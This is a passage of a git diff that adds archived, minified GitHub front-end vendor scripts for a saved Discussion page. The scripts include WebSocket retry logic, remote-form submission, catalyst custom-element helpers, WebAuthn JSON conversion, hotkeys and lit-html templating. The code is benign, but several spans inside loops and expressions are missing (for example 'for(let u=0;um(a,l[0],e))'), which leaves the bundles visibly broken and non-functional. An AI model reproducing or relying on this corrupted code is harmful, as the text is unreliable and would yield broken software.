WebSocket(d),x=r(w);try{return await Promise.race([x,b(p,g)]),w}catch(I){throw t(x),I}}i(o,"connect");async function t(d){try{(await d).close()}catch{}}i(t,"shutdown");function n(d,p){return h(i(()=>o(d,p.timeout,p.signal),"fn"),p.attempts,p.maxDelay,p.signal)}i(n,"connectWithRetry");function r(d){return new Promise((p,g)=>{d.readyState===WebSocket.OPEN?p(d):(d.onerror=()=>{d.onerror=null,d.onopen=null,g(new Error("connect failed"))},d.onopen=()=>{d.onerror=null,d.onopen=null,p(d)})})}i(r,"whenOpen");class l{constructor(p,g,w){this.socket=null,this.opening=null,this.url=p,this.delegate=g,this.policy=w}async open(){if(this.opening||this.socket)return;this.opening=new AbortController;const p=Object.assign(Object.assign({},this.policy),{signal:this.opening.signal});try{this.socket=await n(this.url,p)}catch{this.delegate.socketDidFinish(this);return}finally{this.opening=null}this.socket.onclose=g=>{this.socket=null,this.delegate.socketDidClose(this,g.code,g.reason),(this.delegate.socketShouldRetry?!this.delegate.socketShouldRetry(this,g.code):a(g.code))?this.delegate.socketDidFinish(this):setTimeout(()=>this.open(),u(100,100+(this.delegate.reconnectWindow||50)))},this.socket.onmessage=g=>{this.delegate.socketDidReceiveMessage(this,g.data)},this.delegate.socketDidOpen(this)}close(p,g){this.opening?(this.opening.abort(),this.opening=null):this.socket&&(this.socket.onclose=null,this.socket.close(p,g),this.socket=null,this.delegate.socketDidClose(this,p,g),this.delegate.socketDidFinish(this))}send(p){this.socket&&this.socket.send(p)}isOpen(){return!!this.socket}}i(l,"StableSocket");function u(d,p){return Math.random()*(p-d)+d}i(u,"rand$1");function a(d){return d===s||d===c}i(a,"isFatal");const s=1008,c=1011;class m{constructor(p){this.buf=[],this.socket=p,this.delegate=p.delegate,p.delegate=this}open(){return this.socket.open()}close(p,g){this.socket.close(p,g)}send(p){this.socket.isOpen()?(this.flush(),this.socket.send(p)):this.buf.push(p)}isOpen(){return this.socket.isOpen()}flush(){for(const p of this.buf)this.socket.send(p);this.buf.length=0}socketDidOpen(p){this.flush(),this.delegate.socketDidOpen(p)}socketDidClose(p,g,w){this.delegate.socketDidClose(p,g,w)}socketDidFinish(p){this.delegate.socketDidFinish(p)}socketDidReceiveMessage(p,g){this.delegate.socketDidReceiveMessage(p,g)}socketShouldRetry(p,g){return this.delegate.socketShouldRetry?this.delegate.socketShouldRetry(p,g):!a(g)}}i(m,"BufferedSocket")},89900:(N,M,E)=>{"use strict";E.d(M,{Z:()=>v});const b=["direction","boxSizing","width","height","overflowX","overflowY","borderTopWidth","borderRightWidth","borderBottomWidth","borderLeftWidth","borderStyle","paddingTop","paddingRight","paddingBottom","paddingLeft","fontStyle","fontVariant","fontWeight","fontStretch","fontSize","fontSizeAdjust","lineHeight","fontFamily","textAlign","textTransform","textIndent","textDecoration","letterSpacing","wordSpacing","tabSize","MozTabSize"],h=typeof window!="undefined"&&window.mozInnerScreenX!=null;function v(e,o,t){const n=t&&t.debug||!1;if(n){const m=document.querySelector("#input-textarea-caret-position-mirror-div");m&&m.parentNode.removeChild(m)}const r=document.createElement("div");r.id="input-textarea-caret-position-mirror-div",document.body.appendChild(r);const l=r.style,u=window.getComputedStyle?window.getComputedStyle(e):e.currentStyle,a=e.nodeName==="INPUT";l.whiteSpace="pre-wrap",a||(l.wordWrap="break-word"),l.position="absolute",n||(l.visibility="hidden");for(const m of b)if(a&&m==="lineHeight")if(u.boxSizing==="border-box"){const d=parseInt(u.height),p=parseInt(u.paddingTop)+parseInt(u.paddingBottom)+parseInt(u.borderTopWidth)+parseInt(u.borderBottomWidth),g=p+parseInt(u.lineHeight);d>g?l.lineHeight=`${d-p}px`:d===g?l.lineHeight=u.lineHeight:l.lineHeight=0}else l.lineHeight=u.height;else if(!a&&m==="width"&&u.boxSizing==="border-box"){let d=parseFloat(u.borderLeftWidth)+parseFloat(u.borderRightWidth),p=h?parseFloat(u[m])-d:e.clientWidth+d;l[m]=`${p}px`}else l[m]=u[m];h?e.scrollHeight>parseInt(u.height)&&(l.overflowY="scroll"):l.overflow="hidden",r.textContent=e.value.substring(0,o),a&&(r.textContent=r.textContent.replace(/\s/g,"\xA0"));const s=document.createElement("span");s.textContent=e.value.substring(o)||".",r.appendChild(s);const c={top:s.offsetTop+parseInt(u.borderTopWidth),left:s.offsetLeft+parseInt(u.borderLeftWidth),height:parseInt(u.lineHeight)};return n?s.style.backgroundColor="#aaa":document.body.removeChild(r),c}i(v,"getCaretCoordinates")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537-40f081c90ea1.js.map \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js new file mode 100644 index 0000000..7337406 --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var j=Object.defineProperty;var n=(M,C)=>j(M,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3"],{65935:(M,C,$)=>{$.d(C,{AC:()=>T,rK:()=>S,uT:()=>f});function _(s,r){const c=s.createElement("template");return c.innerHTML=r,s.importNode(c.content,!0)}n(_,"parseHTML");function x(s){const r=new URLSearchParams,c=new FormData(s).entries();for(const[b,h]of[...c])r.append(b,h.toString());return r.toString()}n(x,"serialize");class i extends Error{constructor(r,c){super(r);this.response=c}}n(i,"ErrorWithResponse");function g(){let s,r;return[new Promise(function(b,h){s=b,r=h}),s,r]}n(g,"makeDeferred");let m;const v=[],d=[];function f(s){v.push(s)}n(f,"afterRemote");function S(s){d.push(s)}n(S,"beforeRemote");function T(s,r){m||(m=new Map,document.addEventListener("submit",O));const c=m.get(s)||[];m.set(s,[...c,r])}n(T,"remoteForm");function q(s,r){if(m){const c=m.get(s)||[];m.set(s,c.filter(b=>b!==r))}}n(q,"remoteUninstall");function N(s){const r=[];for(const c of m.keys())if(s.matches(c)){const b=m.get(c)||[];r.push(...b)}return r}n(N,"getMatches");function O(s){if(!(s.target instanceof HTMLFormElement)||s.defaultPrevented)return;const r=s.target,c=N(r);if(c.length===0)return;const b=P(r),[h,A,E]=g();s.preventDefault(),L(c,r,b,h).then(async a=>{if(a){for(const l of d)await l(r);R(b).then(A,E).catch(()=>{}).then(()=>{for(const l of v)l(r)})}else r.submit()},a=>{r.submit(),setTimeout(()=>{throw a})})}n(O,"handleSubmit");async function L(s,r,c,b){let h=!1;for(const A of s){const[E,a]=g(),l=n(()=>(h=!0,a(),b),"kick"),w={text:l,json:()=>(c.headers.set("Accept","application/json"),l()),html:()=>(c.headers.set("Accept","text/html"),l())};await Promise.race([E,A(r,w,c)])}return h}n(L,"processHandlers");function P(s){const r={method:s.method||"GET",url:s.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(r.method.toUpperCase()==="GET"){const c=x(s);c&&(r.url+=(~r.url.indexOf("?")?"&":"?")+c)}else r.body=new FormData(s);return r}n(P,"buildRequest");async function R(s){const r=await window.fetch(s.url,{method:s.method,body:s.body!==null?s.body:void 0,headers:s.headers,credentials:"same-origin"}),c={url:r.url,status:r.status,statusText:r.statusText,headers:r.headers,text:"",get json(){const h=this,A=JSON.parse(h.text);return delete h.json,h.json=A,h.json},get html(){const h=this;return delete h.html,h.html=_(document,h.text),h.html}},b=await r.text();if(c.text=b,r.ok)return c;throw new i("request failed",c)}n(R,"remoteSubmit")},90420:(M,C,$)=>{$.d(C,{Lj:()=>s,Ih:()=>w,fA:()=>N,GO:()=>O});const _=new WeakSet;function x(e){_.add(e),e.shadowRoot&&i(e.shadowRoot),v(e),m(e.ownerDocument)}n(x,"bind");function i(e){v(e),m(e)}n(i,"bindShadow");const g=new WeakMap;function m(e=document){if(g.has(e))return g.get(e);let t=!1;const o=new MutationObserver(p=>{for(const y of p)if(y.type==="attributes"&&y.target instanceof Element)S(y.target);else if(y.type==="childList"&&y.addedNodes.length)for(const k of y.addedNodes)k instanceof Element&&v(k)});o.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const u={get closed(){return t},unsubscribe(){t=!0,g.delete(e),o.disconnect()}};return g.set(e,u),u}n(m,"listenForBind");function v(e){for(const t of e.querySelectorAll("[data-action]"))S(t);e instanceof Element&&e.hasAttribute("data-action")&&S(e)}n(v,"bindElements");function d(e){const t=e.currentTarget;for(const o of f(t))if(e.type===o.type){const u=t.closest(o.tag);_.has(u)&&typeof u[o.method]=="function"&&u[o.method](e);const p=t.getRootNode();if(p instanceof ShadowRoot&&_.has(p.host)&&p.host.matches(o.tag)){const y=p.host;typeof y[o.method]=="function"&&y[o.method](e)}}}n(d,"handleEvent");function*f(e){for(const t of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const o=t.lastIndexOf(":"),u=Math.max(0,t.lastIndexOf("#"))||t.length;yield{type:t.slice(0,o),tag:t.slice(o+1,u),method:t.slice(u+1)||"handleEvent"}}}n(f,"bindings");function S(e){for(const t of f(e))e.addEventListener(t.type,d)}n(S,"bindActions");function T(e,t){const o=e.tagName.toLowerCase();if(e.shadowRoot){for(const u of e.shadowRoot.querySelectorAll(`[data-target~="${o}.${t}"]`))if(!u.closest(o))return u}for(const u of e.querySelectorAll(`[data-target~="${o}.${t}"]`))if(u.closest(o)===e)return u}n(T,"findTarget");function q(e,t){const o=e.tagName.toLowerCase(),u=[];if(e.shadowRoot)for(const p of e.shadowRoot.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)||u.push(p);for(const p of e.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)===e&&u.push(p);return u}n(q,"findTargets");function N(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return T(this,t)}})}n(N,"target");function O(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return q(this,t)}})}n(O,"targets");function L(e){const t=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(t)||(window[e.name]=e,window.customElements.define(t,e))}n(L,"register");function P(e){for(const t of e.querySelectorAll("template[data-shadowroot]"))t.parentElement===e&&e.attachShadow({mode:t.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(t.content.cloneNode(!0))}n(P,"autoShadowRoot");const R=new WeakMap;function s(e,t){R.has(e)||R.set(e,[]),R.get(e).push(t)}n(s,"attr");function r(e,t){t||(t=c(Object.getPrototypeOf(e)));for(const o of t){const u=e[o],p=b(o);let y={configurable:!0,get(){return this.getAttribute(p)||""},set(k){this.setAttribute(p,k||"")}};typeof u=="number"?y={configurable:!0,get(){return Number(this.getAttribute(p)||0)},set(k){this.setAttribute(p,k)}}:typeof u=="boolean"&&(y={configurable:!0,get(){return this.hasAttribute(p)},set(k){this.toggleAttribute(p,k)}}),Object.defineProperty(e,o,y),o in e&&!e.hasAttribute(p)&&y.set.call(e,u)}}n(r,"initializeAttrs");function c(e){const t=new Set;let o=e;for(;o&&o!==HTMLElement;){const u=R.get(o)||[];for(const p of u)t.add(p);o=Object.getPrototypeOf(o)}return t}n(c,"getAttrNames");function b(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}n(b,"attrToAttributeName");function h(e){let t=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...c(e.prototype)].map(b).concat(t)},set(o){t=o}})}n(h,"defineObservedAttributes");const A=new WeakSet;function E(e,t){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),A.add(e),P(e),r(e),x(e),t&&t.call(e),e.shadowRoot&&i(e.shadowRoot)}n(E,"initializeInstance");function a(e){h(e),L(e)}n(a,"initializeClass");function l(e){return A.has(e)}n(l,"initialized");function w(e){const t=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){E(this,t)},a(e)}n(w,"controller")},70112:(M,C,$)=>{$.d(C,{U2:()=>A,Ue:()=>c,Zh:()=>E});function _(a){const l="==".slice(0,(4-a.length%4)%4),w=a.replace(/-/g,"+").replace(/_/g,"/")+l,e=atob(w),t=new ArrayBuffer(e.length),o=new Uint8Array(t);for(let u=0;um(a,l[0],e));if(l instanceof Object){const e={};for(const[t,o]of Object.entries(l)){if(o.derive){const u=o.derive(w);u!==void 0&&(w[t]=u)}if(!(t in w)){if(o.required)throw new Error(`Missing key: ${t}`);continue}if(w[t]==null){e[t]=null;continue}e[t]=m(a,o.schema,w[t])}return e}}n(m,"convert");function v(a,l){return{required:!0,schema:a,derive:l}}n(v,"derived");function d(a){return{required:!0,schema:a}}n(d,"required");function f(a){return{required:!1,schema:a}}n(f,"optional");var S={type:d(i),id:d(g),transports:f(i)},T={appid:f(i),appidExclude:f(i),credProps:f(i)},q={appid:f(i),appidExclude:f(i),credProps:f(i)},N={publicKey:d({rp:d(i),user:d({id:d(g),name:d(i),displayName:d(i)}),challenge:d(g),pubKeyCredParams:d(i),timeout:f(i),excludeCredentials:f([S]),authenticatorSelection:f(i),attestation:f(i),extensions:f(T)}),signal:f(i)},O={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),attestationObject:d(g),transports:v(i,a=>{var l;return((l=a.getTransports)==null?void 0:l.call(a))||[]})}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},L={mediation:f(i),publicKey:d({challenge:d(g),timeout:f(i),rpId:f(i),allowCredentials:f([S]),userVerification:f(i),extensions:f(T)}),signal:f(i)},P={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),authenticatorData:d(g),signature:d(g),userHandle:d(g)}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},R={credentialCreationOptions:N,publicKeyCredentialWithAttestation:O,credentialRequestOptions:L,publicKeyCredentialWithAssertion:P};function s(a){return m(_,N,a)}n(s,"createRequestFromJSON");function r(a){return m(x,O,a)}n(r,"createResponseToJSON");async function c(a){const l=await navigator.credentials.create(s(a));return r(l)}n(c,"create");function b(a){return m(_,L,a)}n(b,"getRequestFromJSON");function h(a){return m(x,P,a)}n(h,"getResponseToJSON");async function A(a){const l=await navigator.credentials.get(b(a));return h(l)}n(A,"get");function E(){return!!(navigator.credentials&&navigator.credentials.create&&navigator.credentials.get&&window.PublicKeyCredential)}n(E,"supported")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3-74ee89f793c0.js.map \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js new file mode 100644 index 0000000..1f9e6eb --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js @@ -0,0 +1,15 @@ +"use strict";(()=>{var R=Object.defineProperty;var c=(F,T)=>R(F,"name",{value:T,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b"],{65935:(F,T,E)=>{E.d(T,{AC:()=>b,rK:()=>p,uT:()=>h});function x(o,e){const n=o.createElement("template");return n.innerHTML=e,o.importNode(n.content,!0)}c(x,"parseHTML");function v(o){const e=new URLSearchParams,n=new FormData(o).entries();for(const[i,a]of[...n])e.append(i,a.toString());return e.toString()}c(v,"serialize");class m extends Error{constructor(e,n){super(e);this.response=n}}c(m,"ErrorWithResponse");function _(){let o,e;return[new Promise(function(i,a){o=i,e=a}),o,e]}c(_,"makeDeferred");let f;const g=[],y=[];function h(o){g.push(o)}c(h,"afterRemote");function p(o){y.push(o)}c(p,"beforeRemote");function b(o,e){f||(f=new Map,document.addEventListener("submit",S));const n=f.get(o)||[];f.set(o,[...n,e])}c(b,"remoteForm");function k(o,e){if(f){const n=f.get(o)||[];f.set(o,n.filter(i=>i!==e))}}c(k,"remoteUninstall");function w(o){const e=[];for(const n of f.keys())if(o.matches(n)){const i=f.get(n)||[];e.push(...i)}return e}c(w,"getMatches");function S(o){if(!(o.target instanceof HTMLFormElement)||o.defaultPrevented)return;const e=o.target,n=w(e);if(n.length===0)return;const i=L(e),[a,l,s]=_();o.preventDefault(),P(n,e,i,a).then(async t=>{if(t){for(const r of y)await r(e);N(i).then(l,s).catch(()=>{}).then(()=>{for(const r of g)r(e)})}else e.submit()},t=>{e.submit(),setTimeout(()=>{throw t})})}c(S,"handleSubmit");async function P(o,e,n,i){let a=!1;for(const l of o){const[s,t]=_(),r=c(()=>(a=!0,t(),i),"kick"),u={text:r,json:()=>(n.headers.set("Accept","application/json"),r()),html:()=>(n.headers.set("Accept","text/html"),r())};await Promise.race([s,l(e,u,n)])}return a}c(P,"processHandlers");function L(o){const e={method:o.method||"GET",url:o.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(e.method.toUpperCase()==="GET"){const n=v(o);n&&(e.url+=(~e.url.indexOf("?")?"&":"?")+n)}else e.body=new FormData(o);return e}c(L,"buildRequest");async function N(o){const e=await window.fetch(o.url,{method:o.method,body:o.body!==null?o.body:void 0,headers:o.headers,credentials:"same-origin"}),n={url:e.url,status:e.status,statusText:e.statusText,headers:e.headers,text:"",get json(){const a=this,l=JSON.parse(a.text);return delete a.json,a.json=l,a.json},get html(){const a=this;return delete a.html,a.html=x(document,a.text),a.html}},i=await e.text();if(n.text=i,e.ok)return n;throw new m("request failed",n)}c(N,"remoteSubmit")},41311:(F,T,E)=>{E.d(T,{C:()=>f});var x=E(28356),v=E(36162);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,_=2147483647,f=(0,v.XM)((...g)=>y=>{let h=m.get(y);h===void 0&&(h={lastRenderedIndex:_,values:[]},m.set(y,h));const p=h.values;let b=p.length;h.values=g;for(let k=0;kh.lastRenderedIndex);k++){const w=g[k];if((0,x.pt)(w)||typeof w.then!="function"){y.setValue(w),h.lastRenderedIndex=k;break}k{const P=h.values.indexOf(w);P>-1&&P{E.d(T,{EL:()=>g,N9:()=>N,Tz:()=>o});class x{constructor(n){this.children=[],this.parent=n}delete(n){const i=this.children.indexOf(n);return i===-1?!1:(this.children=this.children.slice(0,i).concat(this.children.slice(i+1)),this.children.length===0&&this.parent.delete(this),!0)}add(n){return this.children.push(n),this}}c(x,"Leaf");class v{constructor(n){this.parent=null,this.children={},this.parent=n||null}get(n){return this.children[n]}insert(n){let i=this;for(let a=0;al.filter(s=>s!=="")).filter(l=>l.length>0)}c(f,"expandHotkeyToEdges");function g(e){const{ctrlKey:n,altKey:i,metaKey:a,key:l}=e,s=[],t=[n,i,a,h(e)];for(const[r,u]of t.entries())u&&s.push(y[r]);return y.includes(l)||s.push(l),s.join("+")}c(g,"hotkey");const y=["Control","Alt","Meta","Shift"];function h(e){const{shiftKey:n,code:i,key:a}=e;return n&&!(i.startsWith("Key")&&a.toUpperCase()===a)}c(h,"showShift");const p=new v,b=new WeakMap;let k=p,w=null,S=[];function P(){S=[],w=null,k=p}c(P,"resetTriePosition");function L(e){if(e.defaultPrevented||!(e.target instanceof Node))return;if(m(e.target)){const i=e.target;if(!i.id||!i.ownerDocument.querySelector(`[data-hotkey-scope="${i.id}"]`))return}w!=null&&window.clearTimeout(w),w=window.setTimeout(P,1500);const n=k.get(g(e));if(!n){P();return}if(S.push(g(e)),k=n,n instanceof x){const i=e.target;let a=!1,l;const s=m(i);for(let t=n.children.length-1;t>=0;t-=1){l=n.children[t];const r=l.getAttribute("data-hotkey-scope");if(!s&&!r||s&&i.id===r){a=!0;break}}l&&a&&(_(l,S),e.preventDefault()),P()}}c(L,"keyDownHandler");function N(e,n){Object.keys(p.children).length===0&&document.addEventListener("keydown",L);const a=f(n||e.getAttribute("data-hotkey")||"").map(l=>p.insert(l).add(e));b.set(e,a)}c(N,"install");function o(e){const n=b.get(e);if(n&&n.length)for(const i of n)i&&i.delete(e);Object.keys(p.children).length===0&&document.removeEventListener("keydown",L)}c(o,"uninstall")},15205:(F,T,E)=>{E.d(T,{Z:()=>v});function x(...m){return JSON.stringify(m,(_,f)=>typeof f=="object"?f:String(f))}c(x,"defaultHash");function v(m,_={}){const{hash:f=x,cache:g=new Map}=_;return function(...y){const h=f.apply(this,y);if(g.has(h))return g.get(h);let p=m.apply(this,y);return p instanceof Promise&&(p=p.catch(b=>{throw g.delete(h),b})),g.set(h,p),p}}c(v,"memoize")},69567:(F,T,E)=>{E.d(T,{sV:()=>g,GZ:()=>k,R:()=>l,AQ:()=>w,W_:()=>P,Al:()=>S,XK:()=>N});function*x(s){let t="",r=0,u=!1;for(let d=0;dtypeof u=="string"?u:u.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,r)}}}c(y,"AttributeValueSetter");var h=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},p=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},b;class k{constructor(t,r){this.expression=r,b.set(this,void 0),h(this,b,[t]),t.textContent=""}get value(){return p(this,b).map(t=>t.textContent).join("")}set value(t){this.replace(t)}get previousSibling(){return p(this,b)[0].previousSibling}get nextSibling(){return p(this,b)[p(this,b).length-1].nextSibling}replace(...t){const r=t.map(u=>typeof u=="string"?new Text(u):u);r.length||r.push(new Text("")),p(this,b)[0].before(...r);for(const u of p(this,b))u.remove();h(this,b,r)}}c(k,"NodeTemplatePart"),b=new WeakMap;function w(s){return{createCallback(t,r,u){this.processCallback(t,r,u)},processCallback(t,r,u){var d;if(!(typeof u!="object"||!u)){for(const C of r)if(C.expression in u){const j=(d=u[C.expression])!==null&&d!==void 0?d:"";s(C,j)}}}}}c(w,"createProcessor");function S(s,t){s.value=String(t)}c(S,"processPropertyIdentity");function P(s,t){return typeof t=="boolean"&&s instanceof g&&typeof s.element[s.attributeName]=="boolean"?(s.booleanValue=t,!0):!1}c(P,"processBooleanAttribute");const L=w(S),N=w((s,t)=>{P(s,t)||S(s,t)});var o=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},e=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},n,i;function*a(s){const t=s.ownerDocument.createTreeWalker(s,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let r;for(;r=t.nextNode();)if(r instanceof Element&&r.hasAttributes())for(let u=0;u{var O=Object.defineProperty;var p=(M,N)=>O(M,"name",{value:N,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_lit-html_lit-html_js"],{13695:(M,N,l)=>{l.d(N,{X:()=>v,w:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=new WeakMap,v=p(_=>(...c)=>{const h=_(...c);return a.set(h,!0),h},"directive"),u=p(_=>typeof _=="function"&&a.has(_),"isDirective")},66921:(M,N,l)=>{l.d(N,{V:()=>v,eC:()=>a,r4:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=window.customElements!==void 0&&window.customElements.polyfillWrapFlushCallback!==void 0,v=p((_,c,h=null,r=null)=>{for(;c!==h;){const d=c.nextSibling;_.insertBefore(c,r),c=d}},"reparentNodes"),u=p((_,c,h=null)=>{for(;c!==h;){const r=c.nextSibling;_.removeChild(c),c=r}},"removeNodes")},31301:(M,N,l)=>{l.d(N,{J:()=>a,L:()=>v});/** + * @license + * Copyright (c) 2018 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a={},v={}},28356:(M,N,l)=>{l.d(N,{JG:()=>x,K1:()=>E,QG:()=>f,_l:()=>g,m:()=>w,nt:()=>m,pt:()=>r});var a=l(13695),v=l(66921),u=l(31301),_=l(3122),c=l(89823),h=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const r=p(s=>s===null||!(typeof s=="object"||typeof s=="function"),"isPrimitive"),d=p(s=>Array.isArray(s)||!!(s&&s[Symbol.iterator]),"isIterable");class f{constructor(t,n,e){this.dirty=!0,this.element=t,this.name=n,this.strings=e,this.parts=[];for(let i=0;ithis.handleEvent(i)}setValue(t){this.__pendingValue=t}commit(){for(;(0,a.w)(this.__pendingValue);){const V=this.__pendingValue;this.__pendingValue=u.J,V(this)}if(this.__pendingValue===u.J)return;const t=this.__pendingValue,n=this.value,e=t==null||n!=null&&(t.capture!==n.capture||t.once!==n.once||t.passive!==n.passive),i=t!=null&&(n==null||e);e&&this.element.removeEventListener(this.eventName,this.__boundHandleEvent,this.__options),i&&(this.__options=o(t),this.element.addEventListener(this.eventName,this.__boundHandleEvent,this.__options)),this.value=t,this.__pendingValue=u.J}handleEvent(t){typeof this.value=="function"?this.value.call(this.eventContext||this.element,t):this.value.handleEvent(t)}}p(E,"EventPart");const o=p(s=>s&&(C?{capture:s.capture,passive:s.passive,once:s.once}:s.capture),"getOptions")},3122:(M,N,l)=>{l.d(N,{R:()=>u});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class u{constructor(c,h,r){this.__parts=[],this.template=c,this.processor=h,this.options=r}update(c){let h=0;for(const r of this.__parts)r!==void 0&&r.setValue(c[h]),h++;for(const r of this.__parts)r!==void 0&&r.commit()}_clone(){const c=a.eC?this.template.element.content.cloneNode(!0):document.importNode(this.template.element.content,!0),h=[],r=this.template.parts,d=document.createTreeWalker(c,133,null,!1);let f=0,g=0,m,x=d.nextNode();for(;f{l.d(N,{j:()=>_});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const u=` ${v.Jw} `;class _{constructor(r,d,f,g){this.strings=r,this.values=d,this.type=f,this.processor=g}getHTML(){const r=this.strings.length-1;let d="",f=!1;for(let g=0;g-1||f)&&m.indexOf("-->",x+1)===-1;const w=v.W5.exec(m);w===null?d+=m+(f?u:v.N):d+=m.substr(0,w.index)+w[1]+w[2]+v.$E+w[3]+v.Jw}return d+=this.strings[r],d}getTemplateElement(){const r=document.createElement("template");return r.innerHTML=this.getHTML(),r}}p(_,"TemplateResult");class c extends null{getHTML(){return`${super.getHTML()}`}getTemplateElement(){const r=super.getTemplateElement(),d=r.content,f=d.firstChild;return d.removeChild(f),reparentNodes(d,f.firstChild),r}}p(c,"SVGTemplateResult")},60560:(M,N,l)=>{l.d(N,{$E:()=>_,IW:()=>d,Jw:()=>a,N:()=>v,W5:()=>f,YS:()=>c,pC:()=>r});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + 